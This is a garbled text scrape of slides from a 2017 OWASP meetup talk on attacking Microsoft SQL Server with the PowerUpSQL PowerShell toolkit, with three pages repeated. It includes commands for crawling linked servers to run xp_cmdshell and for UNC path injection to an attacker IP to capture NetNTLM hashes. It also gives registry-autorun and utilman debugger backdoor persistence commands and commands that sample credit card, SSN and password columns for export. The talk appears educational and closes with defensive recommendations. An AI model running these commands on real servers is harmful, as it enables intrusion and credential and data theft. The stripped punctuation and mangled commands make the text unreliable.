  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 72: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 73: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 74: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

